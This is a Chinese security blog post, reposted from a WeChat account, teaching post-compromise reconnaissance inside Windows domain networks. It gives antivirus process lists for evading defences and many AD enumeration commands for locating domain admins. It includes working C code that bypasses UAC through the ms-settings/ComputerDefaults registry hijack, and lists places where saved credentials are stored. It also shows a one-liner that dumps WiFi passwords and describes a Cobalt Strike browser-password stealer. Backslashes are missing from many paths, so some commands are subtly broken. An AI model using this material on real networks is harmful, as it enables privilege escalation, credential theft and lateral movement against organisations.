内网信息收集的艺术

admin 2022年5月17日19:35:36安全文章评论13 views10750字阅读35分50秒阅读模式

直接上干货

信息收集

查询本机器的进程信息

wmic process list brief
或者
tasklist

内网信息收集的艺术

常见的杀毒软件进程

360tray.exe  360安全卫士

360sd.exe  360杀毒

MsMpEng.exe  Windows Defender(Microsoft Security Essentials)

hipstray.exe  火绒

wsctrl.exe  火绒

usysdiag.exe  火绒

ksafe.exe  金山卫士

QQPCRTP.exe  QQ电脑管家

kxetray.exe  金山毒霸

KvMonXP.exe  江民杀毒

RavMonD.exe  瑞星杀毒

Mcshield.exe  麦咖啡

avp.exe  卡巴斯基

TMBMSRV.exe  趋势杀毒

avcenter.exe  Avira(小红伞)

safedog.exe  安全狗

SafeDogGuardCenter.exe  安全狗
safedogupdatecenter.exe  安全狗
safedogguardcenter.exe  安全狗
SafeDogSiteIIS.exe  安全狗
SafeDogTray.exe  安全狗
SafeDogServerUI.exe  安全狗
D_Safe_Manage.exe  D盾
d_manage.exe  D盾
yunsuo_agent_servic.exe  云锁
yunsuo_agent_daemon.exe  云锁
HwsPanel.exe  护卫神·入侵防护
hws_ui.exe  护卫神
hws.exe  护卫神·入侵防护系统 服务处理程序
hwsd.exe  护卫神·入侵防护系统 监控组件

查看当前在线用户

query user

内网信息收集的艺术

Systeminfo #列出计算机信息以及补丁信息
route print 或者 arp -a #查询路由表以及所有可用接口ARP的缓存表

列出当前计算机域所有链接的客户端之间的会话

如果有回话的话 正常来说会显示的

内网信息收集的艺术

定位DC及获取⽤户、组信息

net config workstation #查询当前登录域及登录⽤户信息

内网信息收集的艺术

net user /domain #查询域内⽤户

wmic useraccount get /all #查询域内⽤户的详细信息

内网信息收集的艺术

net accounts /domain #查看域密码策略

net user lab /domain #查看指定域⽤户lab的详细信息

net view /domain #查看有⼏个域

内网信息收集的艺术

net view /domain:xxx #查看域内的主机

net group /domain #查看域⾥⾯的组

net group "domain users" /domain #查看域⽤户

net group "domain controllers" /domain #查看域控制器

net group "domain computers" /domain #查看域内所有的主机

net group "domain admins" /domain #查看域管理员,该组内的成员对域控

拥有完全控制权

net group "enterprise admins" /domain #查看企业管理组,该组内的成员对域

控拥有完全控制权

net group "domain guest" /domain #查看域访客组,权限较低

net accounts /domain #查询域密码策略

whoami /user #查看⽤户SID和域SID

内网信息收集的艺术

#域控权限

dsquery user #查询⽬录中的⽤户

dsquery computer #查询⽬录中的主机

dsquery group #查询⽬录中的组

dsquery ou #查询⽬录中的组织单元

dsquery site #查询⽬录中的站点

dsquery server #查询域控

dsquery contact #查询⽬录中的联系⼈

dsquery subnet #查询⽬录中的⼦⽹

dsquery quota #查询⽬录中的配额规定

dsquery partition #查询⽬录中的分区

dsquery server –domain zkaq.cn | dsget server–dnsname –site #搜索域内

域控制器的DNS主机名和站点名

dsquery computer domainroot –name -xp –limit n #搜索域内以-xp结尾的机

器n台

dsquery user domainroot –name admin -limit n #搜索域内以admin开头

的⽤户n个

nltest /DCLIST:zkaq.cn
net time /domain
nslookup -type=srv _ldap._tcp #查看DNS服务器的地址,⼀般DNS
服务器的IP就是域控的地址
netdom query pdc #查看主域控制器
dsquery server #该命令只能在域控上执⾏

查询域控

net view /domain

内网信息收集的艺术

登录历史

psloggedon.exe

https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon

此⼯具⽤于查看本地登录的⽤户和通过本地计算机或远程计算机资源登录的⽤户。

在PStools集合中就有此工具

内网信息收集的艺术

setspn

官方文档:

https://docs.microsoft.com/en-us/windows/desktop/AD/service-principal-names全称 Service Principal Names。
SPN 是服务器上所运行服务的唯一标识,每个使用 Kerberos 的服务都需要一个 SPN。
SPN 分为两种,一种注册在 AD 上机器帐户 ( Computers ) 下,另一种注册在域用户帐户 ( Users ) 下。当一个服务的权限为 Local System 或 Network Service,则 SPN 注册在机器帐户 ( Computers ) 下。当一个服务的权限为一个域用户,则 SPN 注册在域用户帐户 ( Users ) 下。
SPN 的格式
serviceclass/host:port/servicename
说明:
· serviceclass 可以理解为服务的名称,常⻅的有 www, ldap, SMTP, DNS, HOST 等。
· host 有两种形式,FQDN 和 NetBIOS 名,例如 server01.test.com 和 server01。
· 如果服务运行在默认端口上,则端口号 ( port ) 可以省略。
查询 **SPN

** 对域控制器发起 LDAP 查询,这是正常 kerberos 票据行为的一部分,因此查询 SPN 的操作很难被检测。

1 、使用 SetSPN

Win7 和 Windows Srver2008 自带的工具。

内网信息收集的时候 一般用cs或者其他框架的渗透工具去进行内网信息收集的话,一般来说都会触发告警。所以我们在信息收集的时候,尽量使用系统自带的工具或者用微软颁发签名的一些工具,这些就肯定不会有告警

比如说setspn、nslookup以及dnscmd等

我们可以在内网中扫描spn,快速寻找内网中注册的服务。

普通域用户权限即可:

setspn -q */*

内网信息收集的艺术

关于setspn,如果当前账号权限不够高是无法使用setspn命令的就会像这样,为什么呢,因为当前的账号不是域账号

内网信息收集的艺术

查看 zkaq.cn 域内的所有 SPN:

setspn.exe -T zkaq.cn -q */*

内网信息收集的艺术

输出结果实例:

CN=DC1,OU=Domain Controllers,DC=test,DC=com exchangeRFR/DC1 exchangeRFR/DC1.test.com
exchangeMDB/DC1.test.com exchangeMDB/DC1 exchangeAB/DC1 exchangeAB/DC1.test.com
SMTP/DC1 SMTP/DC1.test.com SmtpSvc/DC1 SmtpSvc/DC1.test.com
ldap/DC1.test.com/ForestDnsZones.test.com ldap/DC1.test.com/DomainDnsZones.test.com
Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/DC1.test.com DNS/DC1.test.com
GC/DC1.test.com/test.com RestrictedKrbHost/DC1.test.com RestrictedKrbHost/DC1
HOST/DC1/TEST HOST/DC1.test.com/TEST HOST/DC1 HOST/DC1.test.com
HOST/DC1.test.com/test.com E3514235-4B06-11D1-AB04-00C04FC2DCD2/0f33253b-2314-40f0-
b665-f4317b13e6b9/test.com ldap/DC1/TEST ldap/0f33253b-2314-40f0-b665-
f4317b13e6b9._msdcs.test.com ldap/DC1.test.com/TEST ldap/DC1 ldap/DC1.test.com
ldap/DC1.test.com/test.com CN=krbtgt,CN=Users,DC=test,DC=com kadmin/changepw
CN=COMPUTER01,CN=Computers,DC=test,DC=com RestrictedKrbHost/COMPUTER01 HOST/COMPUTER01
RestrictedKrbHost/COMPUTER01.test.com HOST/COMPUTER01.test.com CN=MSSQL Service
Admin,CN=Users,DC=test,DC=com MSSQLSvc/DC1.test.com

以 CN 开头的每一行代表一个帐户,其下的信息是与该帐户相关联的 SPN。对于上面的输出数据,机器帐户 ( Computers ) 为:
· CN=DC1,OU=Domain Controllers,DC=test,DC=com
· CN=COMPUTER01,CN=Computers,DC=test,DC=com

域用户帐户 ( Users ) 为:

· CN=krbtgt,CN=Users,DC=test,DC=com

· CN=MSSQL Service Admin,CN=Users,DC=test,DC=com

注册在域用户帐户 ( Users ) 下的 SPN 有两个:kadmin/changepw 和 MSSQLSvc/DC1.test.com。

Windows 系统通过 SPN 查询获得服务和服务实例帐户的对应关系

这里举一个例子:

用户 a 要访问 MySQL 服务的资源,进行到 4.tgs_reply 时,步骤如下:

( 1 ) Domain Controller 查询 MySQL 服务的 SPN

如果该 SPN 注册在机器帐户 ( Computers ) 下,将会查询所有机器帐户 ( Computers ) 的 servicePrincipalName 属性,找到对应的帐户。

如果该 SPN 注册在域用户帐户 ( Users ) 下,将会查询所有域用户 ( Users ) 的 servicePrincipalName 属性,找到 对应的帐户。

端口连接

比如我们拿下一台web站点,站库分离,那我们就可以利用如netstat -ano命令查看谁跟这台web通信,比如1433、3306这些端口。

获取安装的软件列表:

wmic product get name,version

定位域控服务器

net time /domain

nslookup

1、通过nslookup访问外部地址 回显IP

注意:如果机器不出网 是无法使用次命令的

 nslookup myip.opendns.com resolver1.opendns.com

2、查看dns缓存 如果某站点频繁被访问 相关记录可能会出现在缓存里

 ipconfig /displaydns

内网信息收集的艺术

3、如果是IIS7 IIS7.5: 执行如下命令:

  %windir%system32inetsrvappcmd list site

显示网站列表

%windir%system32inetsrvappcmd list site /config /xml

查看域控主机名

  nslookup -type=SRV _ldap._tcp

内网信息收集的艺术

快速定位域控ip,一般是dns、时间服务器:

net time /domain-
nslookup -type=all _ldap._tcp.dc._msdcs.jumbolab.com

内网信息收集的艺术

内网主机发现

可以使用如下命令来达到内网主机的发现。查看共享资料:

 net view

查看arp表:

arp -a

查看hosts文件:

 linux:cat /etc/hosts
windows:type c:Windowssystem32driversetchosts

Adfind

AdFind 一款C++编写的域内查询信息的工具

下载地址:https://www.softpedia.com/get/Programming/Other-Programming-Files/AdFind.shtml

常用命令
列出域控制器名称:

 AdFind -sc dclist

内网信息收集的艺术

查看域控版本

  AdFind -schema -s base objectversion

内网信息收集的艺术

查询当前域中在线的计算机:
AdFind -sc computers_active

内网信息收集的艺术

查询当前域中所有计算机:
AdFind -f "objectcategory=computer"

内网信息收集的艺术

查询当前域中所有计算机(只显示名称和操作系统):

 AdFind -f "objectcategory=computer" name operatingSystem

内网信息收集的艺术

查询域内所有用户:

  AdFind -users name

内网信息收集的艺术

查询所有GPO:

AdFind -sc gpodmp

枚举受保护AD账户:

Adfind -f "&(objectcategory=person)(samaccountname=*)(admincount=1)" -dn

查看域内用户详细信息:

 adfind.exe -h DNS_SERVER_IP -sc u:username #目标用户

查看域用户能登录的机器(userWorkstations)

 adfind.exe -h DNS_SERVER_IP -sc u:username userWorkstations

查看域内所有用户详细信息:

AdFind.exe -h DNS_SERVER_IP -sc u:* > result.txt

利用PsLoggendon.exe定位域管

PsLoggendon.exe是PsTools工具套件中的一员,用来查看通过资源共享登陆的用户,该工具的一些功能需要管理 员权限。

下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

内网信息收集的艺术

另外两个定位域管的工具
PVEFindADUser.exe

  PVEFindADUser.exe -current "<Domain admin name>"

PVEFindADUser.exe是用来枚举域用户以及登陆过特定系统的用户的一款工具,需要管理员权限。

下载地址:https://raw.githubusercontent.com/chrisdee/Tools/master/AD/ADFindUsersLoggedOn/PVEFindADUser.exe

内网信息收集的艺术

PowerView.ps1

powershell.exe -exec bypass -Command "& {Import-Module <绝对路径>; Invoke-UserHunter}"

powerView.ps1是一款依赖powershell和wmi对内网进行查询的常用渗透测试脚本,集成在powersploit工具包中,是一个收集域信息很好用的脚本。

源码地址:https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1

利用该工具的Invoke-UserHunter模块获取域管登陆过的机器信息

内网信息收集的艺术

BypassUAC

提到bypassUAC之前,先明白什么是UAC,UAC是windows系统的一种保护机制,其原理是通知用户是否对应用程序使用硬盘驱动和系统授权文件,以达到帮助阻止恶意程序损坏系统的效果

通俗点来说,是当你管理员权限时,但是有些exe在打开的时候还是会弹出用户账户控制,如果点击否的话,就会出现拒绝访问,那么我们将无法运行这类exe,这会影响我们后续的渗透。
那么如何BypassUAC呢?
有一些程序时直接获取管理员权限,同时不弹出UAC弹窗。这一类的程序被称为白名单程序。这些程序拥有autoElevete属性的值为True,会在启动时就静默提升权限!

内网信息收集的艺术

如果用cs或者msf提到了system就不需要进行bypassUAC了,system本身就是一个UAC权限

寻找不弹UAC框的程序

寻找autoElevatetrue的程序

在cmd一个个的去运行exe,如果不弹uac框就运行的既是

有一些系统程序是会直接获取管理员权限同时不弹出UAC弹窗,这类程序被称为白名单程序。这些程序拥有autoElevate属性的值为True,会在启动时就静默提升权限。

那么我们要寻找的uac程序需要符合以下几个要求:

1. 程序的manifest标识的配置属性 autoElevate 为true
2. 程序不弹出UAC弹窗
3. 从注册表里查询ShellOpencommand键值对

首先是寻找autoElevate为true的程序,这里就写一个py脚本去批量跑一下,这里就找system32目录下面的

import os 
from subprocess import *

path = 'c:windowssystem32'
files = os.listdir(path)
print(files)
def GetFileList(path, fileList):
newDir = path
if os.path.isfile(path):
if path[-4:] == '.exe':
fileList.append(path)
elif os.path.isdir(path):
try:
for s in os.listdir(path):
newDir=os.path.join(path,s)
GetFileList(newDir, fileList)
except Exception as e:
pass
return fileList
files = GetFileList(path, [])
print(files)

for eachFile in files:
if eachFile[-4:] == '.exe':
command = r'.sigcheck64.exe -m {} | findstr auto'.format(eachFile)
print(command)
p1 = Popen(command, shell=True, stdin=PIPE, stdout=PIPE)
if '<autoElevate>true</autoElevate>' in p1.stdout.read().decode('gb2312'):
copy_command = r'copy {} .success'.format(eachFile)
Popen(copy_command, shell=True, stdin=PIPE, stdout=PIPE)
print('[+] {}'.format(eachFile))
with open('success.txt', 'at') as f:
f.writelines('{}n'.format(eachFile))

内网信息收集的艺术

从注册表里查询ShellOpencommand键值对

通常以shellopencommand命名的键值对存储的是可执行文件的路径,如果exe程序运行的时候找到该键值对,

就会运行该键值对的程序,而因为exe运行的时候是静默提升了权限,所以运行的该键值对的程序就已经过了uac。所以我们把恶意的exe路径写入该键值对,那么就能够过uac执行我们的恶意exe。

如果键值对HKCU:SoftwareClassesms-settingsshellopencommand存在,ComputerDefaults会接下去查找 HKCU:SoftwareClassesms-settingsshellopencommandDelegateExecute是否也存在,若也存在到则读取 HKCU:SoftwareClassesms-settingsshellopencommand的值然后执行。


#include <stdio.h>
#include <Windows.h>
int wmain(int argc, wchar_t* argv[]) {
if (argc != 2) {
wprintf(L"Usage: %s <filePath>n", argv[0]);
wprintf(L" %s cmd.exen", argv[0]);
exit(1);
}
LPWSTR filePath = argv[1];
PROCESS_INFORMATION pi = { 0 };
STARTUPINFOA si = { 0 };
HKEY hKey;
si.cb = sizeof(STARTUPINFO);
si.wShowWindow = SW_HIDE;
RegCreateKeyW(HKEY_CURRENT_USER, L"Software\Classes\ms-
settings\Shell\open\command", &hKey); // 创建注册表项 RegSetValueExW(hKey, L"", 0, REG_SZ, (LPBYTE)filePath, lstrlenW(filePath));
// 赋值,执行的exe路径
RegSetValueExW(hKey, L"DelegateExecute", 0, REG_SZ, (LPBYTE)"", sizeof("")); // 创建进程ComputerDefaults
CreateProcessA("C:\Windows\System32\cmd.exe", (LPSTR)"/c
C:\Windows\System32\ComputerDefaults.exe", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS,
NULL, NULL, &si, &pi);
// 延时十秒,等ComputerDefaults.exe运行
Sleep(10000);
// 清楚注册表项
RegDeleteTreeA(HKEY_CURRENT_USER, "Software\Classes\ms-settings");
return 0; }

凭据收集

意思就是登录的凭据

拿下一台机器后,我们需要做的就是尽可能的收集信息。

比如远程连接凭据:

cmdkey /list

navicat:

SecureCRT:

xp/win2003 C:Documents and SettingsUSERNAMEApplication DataVanDykeConfigSessions
win7/win2008以上 C:UsersUSERNAMEAppDataRoamingVanDykeConfigSessions

Xshell:

Xshell 5 %userprofile%DocumentsNetSarangXshellSessions
Xshell 6 %userprofile%DocumentsNetSarang Computer6XshellSessions

WinSCP:

HKCUSoftwareMartin PrikrylWinSCP 2Sessions

vnc:

RealVNC HKEY_LOCAL_MACHINESOFTWARERealVNCvncserver Value: Password

TightVNC HKEY_CURRENT_USERSoftwareTightVNCServer Value: Password or PasswordViewOnly

TigerVNC HKEY_LOCAL_USERSoftwareTigerVNCWinVNC4 Value: Password

UltraVNC C:Program FilesUltraVNCultravnc.ini Value: passwd or passwd2

也可以使用masterkey解密chrome保存的账号密码:

%localappdata%GoogleChromeUser DataDefaultLogin Data

WIFI

通过如下命令获取连接过的wifi密码:

for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear

Seatbelt

可以利用Seatbelt工具做一些自动化的信息收集,收集的信息很多,包括不限于google历史记录、用户等等:

项目地址:

https://github.com/GhostPack/Seatbelt

360safebrowserdecrypt

项目地址:https://github.com/c0de3/360SafeBrowsergetpass

1.简介

这是一个一键辅助抓取360安全浏览器密码的CobaltStrike脚本,用于节省红队工作量,通过下载浏览器数据库、记录密钥来离线解密浏览器密码。

2.用法

加载Aggressor scripts后,beacon右键打开菜单执行SafeBrowsergetpass即可

内网信息收集的艺术

执行后将下载浏览器数据库,记录密钥MachineGuidCredential

内网信息收集的艺术

3.离线解密数据库

攻防演练中红队的时间非常珍贵,SafeBrowsergetpass执行后所有数据存储在C2服务器,可以稍后在本地对浏览器密码进行解密。

只需要替换本地注册表HKEY_LOCAL_MACHINESOFTWAREMicrosoftCryptographyMachineGuid,替换原来360浏览器的assis2.db,通常路径为C:UsersAdministratorAppDataRoaming360se6User DataDefaultappsLoginAssis,即可通过BrowserView进行本地解密。

内网信息收集的艺术

利用ICMP协议快速探测内网

这种方式是依次对内网中的每一个ip地址执行ping命令,可以快速的找到内网存活的所有主机,在渗透测试中可以利用这一点循环探测整个c段,如下。

for /L %I in (1,1,254) Do @ping -w 1 -n 1 10.0.1.%I | findstr "TTL="

内网信息收集的艺术


原文始发于微信公众号(Th0r安全):内网信息收集的艺术

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月17日19:35:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  内网信息收集的艺术 http://cn-sec.com/archives/1014620.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: